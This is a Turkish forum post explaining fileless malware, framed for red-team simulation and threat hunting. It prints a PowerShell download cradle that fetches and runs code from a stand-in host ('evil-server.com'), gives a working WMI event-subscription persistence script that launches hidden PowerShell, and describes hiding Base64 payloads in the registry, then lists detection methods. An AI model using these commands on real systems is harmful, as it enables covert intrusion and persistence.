Müzakirə

👻 [VIP Deep Dive] Fileless Malware: PowerShell & WMI ile Dijital Hayalet Olmak

Başladan İMRAN · 06 yan 2026 23:21 · 4 Baxış · 0 Cavablar
Mövzunu Açan #0
YASAL UYARI:Bu doküman, Red Team operasyonlarında simülasyon yapmak ve Blue Team ekiplerinin bu görünmez tehditleri nasıl tespit edeceğini (Threat Hunting) öğretmek amacıyla hazırlanmıştır. Burada anlatılan tekniklerin izinsiz sistemlerde kullanılması suçtur.

1. Giriş: Diskte İz Yok, RAM'de Kaos Var

Geleneksel virüsler kapıyı kırıp içeri girerken (Diske dosya yazar), Fileless Malware ev sahibi gibi davranır. Sisteme dışarıdan hiçbir zararlı dosya indirmez. Bunun yerine, işletim sisteminin içinde halihazırda bulunan, güvenilir ve imzalı araçları (LOLBins - Living off the Land Binaries) kullanır.

Saldırganın felsefesi şudur: "Neden silah getireyim? Evde zaten mutfak bıçağı var."

Bu mutfak bıçakları ise PowerShell ve WMI (Windows Management Instrumentation)'dır.


2. Aşama 1: Bellekte Dans (PowerShell & .NET)

Fileless saldırının kalbi, kodun diske hiç değmeden, doğrudan bellekte (RAM) çalıştırılmasıdır.

The Download Cradle (İndirme Beşiği)

En klasik yöntem, saldırganın zararlı kodunu uzaktaki bir sunucudan çekip, diske kaydetmeden doğrudan belleğe yüklemesidir.

Örnek Senaryo (Reflective Loading):Normalde bir programı indirdiğinizde "İndirilenler" klasörüne düşer. Fileless teknikte ise PowerShell'in Net.WebClient sınıfı kullanılır ve gelen veri doğrudan RAM'deki bir değişkene atanır, ardından Invoke-Expression (IEX) ile çalıştırılır.

CODE
123# Bu komut diske hiçbir şey yazmaz.
# Uzaktaki scripti string olarak okur ve bellekte çalıştırır.
IEX (New-Object Net.WebClient).DownloadString('http://evil-server.com/payload.ps1')


Bu komut çalıştığı anda, zararlı yazılım RAM'dedir. Bilgisayar yeniden başlatılırsa yok olur. Peki, kalıcılık nasıl sağlanır? İşte burada WMI devreye girer.


3. Aşama 2: WMI ile Kalıcılık (Persistence)

Windows Management Instrumentation (WMI), Windows'un sinir sistemidir. Sistem yöneticilerinin her şeyi yönetmesini sağlar. Saldırganlar için ise WMI, "İşletim sisteminin içine saklanmak" için mükemmel bir yerdir.

Kayıt Defteri (Registry) Run anahtarları artık çok izleniyor. Ancak WMI üzerinden kalıcılık sağlamak çok daha sinsi ve "Elite" bir yöntemdir.

WMI Event Subscription (Olay Aboneliği) Mantığı

Saldırgan WMI deposuna üç bileşen gömer:

  1. Event Filter (Tetikleyici): "Sistem açıldıktan 5 dakika sonra" veya "Kullanıcı fareyi hareket ettirdiğinde" gibi bir şart.
  2. Event Consumer (Eylemci): Tetikleyici çalıştığında ne yapılacağı (Örn: PowerShell ile payload'ı tekrar çek).
  3. FilterToConsumerBinding: Bu ikisini birbirine bağlayan kural.
Bu yöntemle zararlı yazılım, bir dosya (startup folder) olarak değil, Windows'un kendi yapılandırma ayarı olarak saklanır.

Örnek (Kavramsal WMI Kodu):

CODE
12345678910111213141516171819# 1. Tetikleyici Oluştur (Sistem açıldıktan 200 saniye sonra)
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "UpdateCheck"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200"
}

# 2. Eylemci Oluştur (Gizli bir PowerShell komutu çalıştır)
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "UpdateRun"
    CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -Command [PAYLOAD_BURAYA]"
}

# 3. Bağla
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter
    Consumer = $Consumer
}


Bu işlem yapıldığında, diskte hiçbir .exe yoktur. Antivirüs diski taradığında tertemiz görür. Ancak sistem her açıldığında 200. saniyede WMI servisi uyanır ve saldırganın komutunu çalıştırır.


4. Aşama 3: Registry (Kayıt Defteri) İçine Veri Gömmek

Eğer payload (zararlı kod) çok büyükse ve her seferinde internetten çekilmek istenmiyorsa, kodun kendisi Windows Kayıt Defteri'ne şifreli (örneğin Base64) olarak saklanır.

  • Depo: HKCU\Software\Microsoft\Windows\CurrentVersion\Debug altına anlamsız bir anahtar açılır.
  • Çalıştırma: WMI veya basit bir PowerShell komutu, sadece bu anahtarı okur, şifreyi çözer ve bellekte çalıştırır.
Bu yöntemle, zararlı yazılım diske dosya olarak değil, Windows'un ayar verisi (property) olarak kaydedilmiş olur.


5. Blue Team: Bu Hayalet Nasıl Yakalanır?

Dosyasız zararlı yazılımlar görünmez değildir, sadece farklı yerlere bakmayı gerektirir.

  1. PowerShell Script Block Logging (Event ID 4104): Obfuscate edilmiş kodlar çözüldüğünde loglanır.
  2. WMI Aktivite Takibi: Sysmon (System Monitor) aracı ile WMI Event Filter/Consumer oluşturulma olayları (Event ID 19, 20, 21) izlenmelidir. Normal bir kullanıcı veya program nadiren WMI Event oluşturur.
  3. Parent-Child Process Analizi: powershell.exe'nin wmiprvse.exe (WMI Provider Host) tarafından başlatılması şüphelidir.
  4. AMSI (Antimalware Scan Interface): Bellekte çalışan kodları taramak için kritik öneme sahiptir (Bir önceki makalemizde bahsettiğimiz bypass teknikleri burada devreye girer).

6. Sonuç

Fileless Malware, siber saldırıların evrimindeki en önemli halkadır. Saldırganlar artık "içeri girmeye" çalışmıyor, zaten "içeride olanı" kullanıyorlar. Savunma tarafında ise sadece dosya taramak artık yeterli değil; belleği, davranışları ve işletim sistemi olaylarını (Events) izlemek zorunludur.

Cavab vermək üçün daxil olmalısınız.

0 sitat seçildi